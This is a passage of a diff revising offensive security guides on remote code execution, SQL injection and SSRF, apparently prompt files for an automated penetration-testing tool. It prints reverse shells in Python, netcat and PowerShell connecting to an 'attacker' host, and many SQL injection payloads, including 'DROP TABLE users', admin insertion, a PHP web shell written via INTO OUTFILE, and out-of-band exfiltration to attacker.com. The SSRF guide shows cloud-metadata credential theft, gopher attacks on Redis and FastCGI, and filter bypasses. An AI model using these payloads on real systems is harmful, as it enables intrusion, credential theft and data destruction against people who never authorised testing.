Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
||||
Netcat: nc -e /bin/sh attacker 4444
|
||||
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
</reverse_shells>
|
||||
|
||||
<persistence>
|
||||
- Cron jobs
|
||||
- SSH keys
|
||||
- Web shells
|
||||
- Systemd services
|
||||
</persistence>
|
||||
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
|
||||
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
|
||||
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
|
||||
</post_exploitation>
|
||||
|
||||
<waf_and_filter_bypasses>
|
||||
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
|
||||
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
|
||||
</waf_and_filter_bypasses>
|
||||
|
||||
<validation>
|
||||
To confirm RCE:
|
||||
1. Execute unique command (id, hostname)
|
||||
2. Demonstrate file system access
|
||||
3. Show command output retrieval
|
||||
4. Achieve reverse shell
|
||||
5. Prove consistent execution
|
||||
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
|
||||
2. Show command context (uid, gid, cwd, env) and controlled output.
|
||||
3. Demonstrate persistence or file write under application constraints.
|
||||
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
|
||||
5. Keep PoCs minimal and reproducible across runs and transports.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT RCE if:
|
||||
- Only crashes application
|
||||
- Limited to specific commands
|
||||
- Sandboxed/containerized properly
|
||||
- No actual command execution
|
||||
- Output not retrievable
|
||||
- Only crashes or timeouts without controlled behavior
|
||||
- Filtered execution of a limited command subset with no attacker-controlled args
|
||||
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
|
||||
- Simulated outputs not derived from executed commands
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Complete system compromise
|
||||
- Data exfiltration
|
||||
- Lateral movement
|
||||
- Backdoor installation
|
||||
- Service disruption
|
||||
- Remote system control under application user; potential privilege escalation to root
|
||||
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
|
||||
- Cluster compromise when combined with container/Kubernetes misconfigurations
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Try all delimiters: ; | || & &&
|
||||
2. Test both Unix and Windows commands
|
||||
3. Use time-based for blind confirmation
|
||||
4. Chain with other vulnerabilities
|
||||
5. Check sudo permissions post-exploit
|
||||
6. Look for SUID binaries
|
||||
7. Test command substitution variants
|
||||
8. Monitor DNS for blind RCE
|
||||
9. Try polyglot payloads first
|
||||
10. Document full exploitation path
|
||||
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
|
||||
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
|
||||
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
|
||||
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
|
||||
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
|
||||
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
|
||||
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
|
||||
<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
|
||||
</rce_vulnerability_guide>
|
||||
|
||||
@@ -1,216 +1,151 @@
|
||||
<sql_injection_guide>
|
||||
<title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
|
||||
<title>SQL INJECTION</title>
|
||||
|
||||
<critical>SQL Injection = direct database access = game over.</critical>
|
||||
<critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
|
||||
|
||||
<injection_points>
|
||||
- URL parameters: ?id=1
|
||||
- POST body parameters
|
||||
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
||||
- Cookie values
|
||||
- JSON/XML payloads
|
||||
- File upload names
|
||||
- Session identifiers
|
||||
</injection_points>
|
||||
<scope>
|
||||
- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
|
||||
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
|
||||
- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
|
||||
</scope>
|
||||
|
||||
<detection_techniques>
|
||||
- Time-based: ' AND SLEEP(5)--
|
||||
- Boolean-based: ' AND '1'='1 vs ' AND '1'='2
|
||||
- Error-based: ' (provoke verbose errors)
|
||||
- Out-of-band: DNS/HTTP callbacks
|
||||
- Differential response: content length changes
|
||||
- Second-order: stored and triggered later
|
||||
</detection_techniques>
|
||||
<methodology>
|
||||
1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
|
||||
2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
|
||||
3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
|
||||
4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
|
||||
</methodology>
|
||||
|
||||
<uncommon_contexts>
|
||||
- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
|
||||
- GROUP BY: GROUP BY id HAVING 1=1--
|
||||
- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
|
||||
- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
|
||||
- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
|
||||
</uncommon_contexts>
|
||||
<injection_surfaces>
|
||||
- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
|
||||
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
|
||||
- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
|
||||
- Batch/bulk endpoints and report generators that embed filters directly
|
||||
</injection_surfaces>
|
||||
|
||||
<basic_payloads>
|
||||
<union_based>
|
||||
' UNION SELECT null--
|
||||
' UNION SELECT null,null--
|
||||
' UNION SELECT 1,2,3--
|
||||
' UNION SELECT 1,@@version,3--
|
||||
' UNION ALL SELECT 1,database(),3--
|
||||
</union_based>
|
||||
<detection_channels>
|
||||
- Error-based: provoke type/constraint/parser errors revealing stack/version/paths
|
||||
- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
|
||||
- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
|
||||
- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
|
||||
</detection_channels>
|
||||
|
||||
<error_based>
|
||||
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
|
||||
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
|
||||
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
||||
</error_based>
|
||||
<union_visibility>
|
||||
- Determine column count and types via ORDER BY n and UNION SELECT null,...
|
||||
- Align types with CAST/CONVERT; coerce to text/json for rendering
|
||||
- When UNION is filtered, consider error-based or blind channels
|
||||
</union_visibility>
|
||||
|
||||
<blind_boolean>
|
||||
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
|
||||
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
|
||||
' AND (SELECT COUNT(*) FROM users)>5--
|
||||
</blind_boolean>
|
||||
|
||||
<blind_time>
|
||||
' AND IF(1=1,SLEEP(5),0)--
|
||||
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
|
||||
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
|
||||
'; SELECT pg_sleep(5)-- (PostgreSQL)
|
||||
</blind_time>
|
||||
</basic_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<stacked_queries>
|
||||
'; DROP TABLE users--
|
||||
'; INSERT INTO admins VALUES ('hacker','password')--
|
||||
'; UPDATE users SET password='hacked' WHERE username='admin'--
|
||||
</stacked_queries>
|
||||
|
||||
<out_of_band>
|
||||
MySQL:
|
||||
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
|
||||
' UNION SELECT LOAD_FILE('/etc/passwd')--
|
||||
|
||||
MSSQL:
|
||||
'; EXEC xp_dirtree '\\attacker.com\share'--
|
||||
'; EXEC xp_cmdshell 'nslookup attacker.com'--
|
||||
|
||||
PostgreSQL:
|
||||
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
|
||||
</out_of_band>
|
||||
|
||||
<file_operations>
|
||||
MySQL:
|
||||
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
|
||||
' UNION SELECT 1,2,'<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
|
||||
|
||||
MSSQL:
|
||||
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
|
||||
|
||||
PostgreSQL:
|
||||
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
|
||||
</file_operations>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<space_bypass>
|
||||
- Comments: /**/
|
||||
- Parentheses: UNION(SELECT)
|
||||
- Backticks: UNION`SELECT`
|
||||
- Newlines: %0A, %0D
|
||||
- Tabs: %09
|
||||
</space_bypass>
|
||||
|
||||
<keyword_bypass>
|
||||
- Case variation: UnIoN SeLeCt
|
||||
- Comments: UN/**/ION SE/**/LECT
|
||||
- Encoding: %55nion %53elect
|
||||
- Double words: UNUNIONION SESELECTLECT
|
||||
</keyword_bypass>
|
||||
|
||||
<waf_bypasses>
|
||||
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
|
||||
- JSON/XML format switching
|
||||
- Chunked encoding
|
||||
- Unicode normalization
|
||||
- Scientific notation: 1e0 UNION SELECT
|
||||
</waf_bypasses>
|
||||
</filter_bypasses>
|
||||
|
||||
<specific_databases>
|
||||
<dbms_primitives>
|
||||
<mysql>
|
||||
- Version: @@version
|
||||
- Database: database()
|
||||
- User: user(), current_user()
|
||||
- Tables: information_schema.tables
|
||||
- Columns: information_schema.columns
|
||||
- Version/user/db: @@version, database(), user(), current_user()
|
||||
- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
|
||||
- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
|
||||
- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
|
||||
- Time: SLEEP(n), BENCHMARK
|
||||
- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
|
||||
</mysql>
|
||||
|
||||
<mssql>
|
||||
- Version: @@version
|
||||
- Database: db_name()
|
||||
- User: user_name(), system_user
|
||||
- Tables: sysobjects WHERE xtype='U'
|
||||
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
|
||||
</mssql>
|
||||
|
||||
<postgresql>
|
||||
- Version: version()
|
||||
- Database: current_database()
|
||||
- User: current_user
|
||||
- Tables: pg_tables
|
||||
- Command execution: CREATE EXTENSION
|
||||
- Version/user/db: version(), current_user, current_database()
|
||||
- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
|
||||
- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
|
||||
- Time: pg_sleep(n)
|
||||
- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
|
||||
- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
|
||||
</postgresql>
|
||||
|
||||
<mssql>
|
||||
- Version/db/user: @@version, db_name(), system_user, user_name()
|
||||
- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
|
||||
- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
|
||||
- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
|
||||
- Error-based: convert/parse, divide by zero, FOR XML PATH leaks
|
||||
</mssql>
|
||||
|
||||
<oracle>
|
||||
- Version: SELECT banner FROM v$version
|
||||
- Database: SELECT ora_database_name FROM dual
|
||||
- User: SELECT user FROM dual
|
||||
- Tables: all_tables
|
||||
- Version/db/user: banner from v$version, ora_database_name, user
|
||||
- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
|
||||
- Time: dbms_lock.sleep(n)
|
||||
- Error-based: to_number/to_date conversions, XMLType
|
||||
- File: UTL_FILE with directory objects (privileged)
|
||||
</oracle>
|
||||
</specific_databases>
|
||||
</dbms_primitives>
|
||||
|
||||
<nosql_injection>
|
||||
<mongodb>
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"$where": "this.username == 'admin'"}
|
||||
{"username": {"$regex": "^admin"}}
|
||||
</mongodb>
|
||||
<blind_extraction>
|
||||
- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
|
||||
- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
|
||||
- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
|
||||
</blind_extraction>
|
||||
|
||||
<graphql>
|
||||
{users(where:{OR:[{id:1},{id:2}]}){id,password}}
|
||||
{__schema{types{name,fields{name}}}}
|
||||
</graphql>
|
||||
</nosql_injection>
|
||||
<out_of_band>
|
||||
- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
|
||||
- MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
|
||||
</out_of_band>
|
||||
|
||||
<automation>
|
||||
SQLMap flags:
|
||||
- Risk/Level: --risk=3 --level=5
|
||||
- Bypass WAF: --tamper=space2comment,between
|
||||
- OS Shell: --os-shell
|
||||
- Database dump: --dump-all
|
||||
- Specific technique: --technique=T (time-based)
|
||||
</automation>
|
||||
<write_primitives>
|
||||
- Auth bypass: inject OR-based tautologies or subselects into login checks
|
||||
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
|
||||
- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
|
||||
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
|
||||
</write_primitives>
|
||||
|
||||
<waf_and_parser_bypasses>
|
||||
- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
|
||||
- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
|
||||
- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
|
||||
- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
|
||||
- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
|
||||
</waf_and_parser_bypasses>
|
||||
|
||||
<orm_and_query_builders>
|
||||
- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
|
||||
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
|
||||
- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
|
||||
- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
|
||||
</orm_and_query_builders>
|
||||
|
||||
<uncommon_contexts>
|
||||
- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
|
||||
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
|
||||
- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
|
||||
- XML/JSON functions: error generation via malformed documents/paths
|
||||
</uncommon_contexts>
|
||||
|
||||
<validation>
|
||||
To confirm SQL injection:
|
||||
1. Demonstrate database version extraction
|
||||
2. Show database/table enumeration
|
||||
3. Extract actual data
|
||||
4. Prove query manipulation
|
||||
5. Document consistent exploitation
|
||||
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
|
||||
2. Extract verifiable metadata (version, current user, database name) using the established channel.
|
||||
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
|
||||
4. Provide reproducible requests that differ only in the injected fragment.
|
||||
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT SQLi if:
|
||||
- Only generic errors
|
||||
- No time delays work
|
||||
- Same response for all payloads
|
||||
- Parameterized queries properly used
|
||||
- Input validation effective
|
||||
- Generic errors unrelated to SQL parsing or constraints
|
||||
- Static response sizes due to templating rather than predicate truth
|
||||
- Artificial delays from network/CPU unrelated to injected function calls
|
||||
- Parameterized queries with no string concatenation, verified by code review
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Database content theft
|
||||
- Authentication bypass
|
||||
- Data manipulation
|
||||
- Command execution (xp_cmdshell)
|
||||
- File system access
|
||||
- Complete database takeover
|
||||
- Direct data exfiltration and privacy/regulatory exposure
|
||||
- Authentication and authorization bypass via manipulated predicates
|
||||
- Server-side file access or command execution (platform/privilege dependent)
|
||||
- Persistent supply-chain impact via modified data, jobs, or procedures
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always try UNION SELECT first
|
||||
2. Use sqlmap for automation
|
||||
3. Test all HTTP headers
|
||||
4. Try different encodings
|
||||
5. Check for second-order SQLi
|
||||
6. Test JSON/XML parameters
|
||||
7. Look for error messages
|
||||
8. Try time-based for blind
|
||||
9. Check INSERT/UPDATE contexts
|
||||
10. Focus on data extraction
|
||||
1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
|
||||
2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
|
||||
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
|
||||
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
|
||||
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
|
||||
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
|
||||
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
|
||||
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
|
||||
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
|
||||
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
|
||||
<remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
|
||||
</sql_injection_guide>
|
||||
|
||||
@@ -1,168 +1,135 @@
|
||||
<ssrf_vulnerability_guide>
|
||||
<title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
|
||||
<title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
|
||||
|
||||
<critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
|
||||
<critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
|
||||
|
||||
<common_injection_points>
|
||||
- URL parameters: url=, link=, path=, src=, href=, uri=
|
||||
- File import/export features
|
||||
- Webhooks and callbacks
|
||||
- PDF generators (wkhtmltopdf)
|
||||
- Image processing (ImageMagick)
|
||||
- Document parsers
|
||||
- Payment gateways (IPN callbacks)
|
||||
- Social media card generators
|
||||
- URL shorteners/expanders
|
||||
</common_injection_points>
|
||||
<scope>
|
||||
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
|
||||
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
|
||||
- Service-to-service hops through gateways and sidecars (envoy/nginx)
|
||||
- Cloud and platform metadata endpoints, instance services, and control planes
|
||||
</scope>
|
||||
|
||||
<hidden_contexts>
|
||||
- Referer headers in analytics
|
||||
- Link preview generation
|
||||
- RSS/Feed fetchers
|
||||
- Repository cloning (Git/SVN)
|
||||
- Package managers (npm, pip)
|
||||
- Calendar invites (ICS files)
|
||||
- OAuth redirect_uri
|
||||
- SAML endpoints
|
||||
- GraphQL field resolvers
|
||||
</hidden_contexts>
|
||||
<methodology>
|
||||
1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
|
||||
2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
|
||||
3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
|
||||
4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
|
||||
</methodology>
|
||||
|
||||
<cloud_metadata>
|
||||
<injection_surfaces>
|
||||
- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
|
||||
- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
|
||||
- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
|
||||
- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
|
||||
</injection_surfaces>
|
||||
|
||||
<cloud_and_platforms>
|
||||
<aws>
|
||||
Legacy: http://169.254.169.254/latest/meta-data/
|
||||
IMDSv2: Requires token but check if app proxies headers
|
||||
Key targets: /iam/security-credentials/, /user-data/
|
||||
- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
|
||||
- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
|
||||
- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
|
||||
</aws>
|
||||
|
||||
<google_cloud>
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
Requires: Metadata-Flavor: Google header
|
||||
Target: /instance/service-accounts/default/token
|
||||
</google_cloud>
|
||||
<gcp>
|
||||
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
|
||||
- Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
|
||||
- Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
|
||||
</gcp>
|
||||
|
||||
<azure>
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
Requires: Metadata: true header
|
||||
OAuth: /metadata/identity/oauth2/token
|
||||
- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
- Required header: {% raw %}Metadata: true{% endraw %}
|
||||
- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
|
||||
</azure>
|
||||
</cloud_metadata>
|
||||
|
||||
<internal_services>
|
||||
<port_scanning>
|
||||
Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
|
||||
</port_scanning>
|
||||
<kubernetes>
|
||||
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
|
||||
- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
|
||||
- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
|
||||
</kubernetes>
|
||||
</cloud_and_platforms>
|
||||
|
||||
<service_fingerprinting>
|
||||
- Elasticsearch: http://localhost:9200/_cat/indices
|
||||
- Redis: dict://localhost:6379/INFO
|
||||
- MongoDB: http://localhost:27017/test
|
||||
- Docker: http://localhost:2375/v1.24/containers/json
|
||||
- Kubernetes: https://kubernetes.default.svc/api/v1/
|
||||
</service_fingerprinting>
|
||||
</internal_services>
|
||||
<internal_targets>
|
||||
- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
|
||||
- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
|
||||
- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
|
||||
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
||||
- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
|
||||
</internal_targets>
|
||||
|
||||
<protocol_exploitation>
|
||||
<gopher>
|
||||
Redis RCE, SMTP injection, FastCGI exploitation
|
||||
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
||||
</gopher>
|
||||
|
||||
<file>
|
||||
file:///etc/passwd, file:///proc/self/environ
|
||||
</file>
|
||||
<file_and_wrappers>
|
||||
- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
|
||||
- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
|
||||
</file_and_wrappers>
|
||||
|
||||
<dict>
|
||||
dict://localhost:11211/stat (Memcached)
|
||||
</dict>
|
||||
</protocol_exploitation>
|
||||
<parser_and_filter_bypasses>
|
||||
<address_variants>
|
||||
- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
|
||||
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
|
||||
</address_variants>
|
||||
|
||||
<bypass_techniques>
|
||||
<dns_rebinding>
|
||||
First request → your server, second → 127.0.0.1
|
||||
</dns_rebinding>
|
||||
<url_confusion>
|
||||
- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
|
||||
- Scheme-less/relative forms the server might complete internally: //169.254.169.254/
|
||||
- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
|
||||
</url_confusion>
|
||||
|
||||
<encoding_tricks>
|
||||
- Decimal IP: http://2130706433/ (127.0.0.1)
|
||||
- Octal: http://0177.0.0.1/
|
||||
- Hex: http://0x7f.0x0.0x0.0x1/
|
||||
- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
|
||||
</encoding_tricks>
|
||||
<redirect_behavior>
|
||||
- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
||||
</redirect_behavior>
|
||||
|
||||
<url_parser_confusion>
|
||||
- Authority: http://expected@evil/
|
||||
- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
|
||||
</url_parser_confusion>
|
||||
<header_and_method_control>
|
||||
- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
||||
</header_and_method_control>
|
||||
|
||||
<redirect_chains>
|
||||
302 → yourserver.com → 169.254.169.254
|
||||
</redirect_chains>
|
||||
</bypass_techniques>
|
||||
<blind_and_mapping>
|
||||
- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
||||
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
||||
</blind_and_mapping>
|
||||
|
||||
<advanced_techniques>
|
||||
<blind_ssrf>
|
||||
- DNS exfiltration: http://$(hostname).attacker.com/
|
||||
- Timing attacks for network mapping
|
||||
- Error-based detection
|
||||
</blind_ssrf>
|
||||
<chaining>
|
||||
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
||||
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
||||
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
|
||||
</chaining>
|
||||
|
||||
<ssrf_to_rce>
|
||||
- Redis: gopher://localhost:6379/ (cron injection)
|
||||
- Memcached: gopher://localhost:11211/
|
||||
- FastCGI: gopher://localhost:9000/
|
||||
</ssrf_to_rce>
|
||||
</advanced_techniques>
|
||||
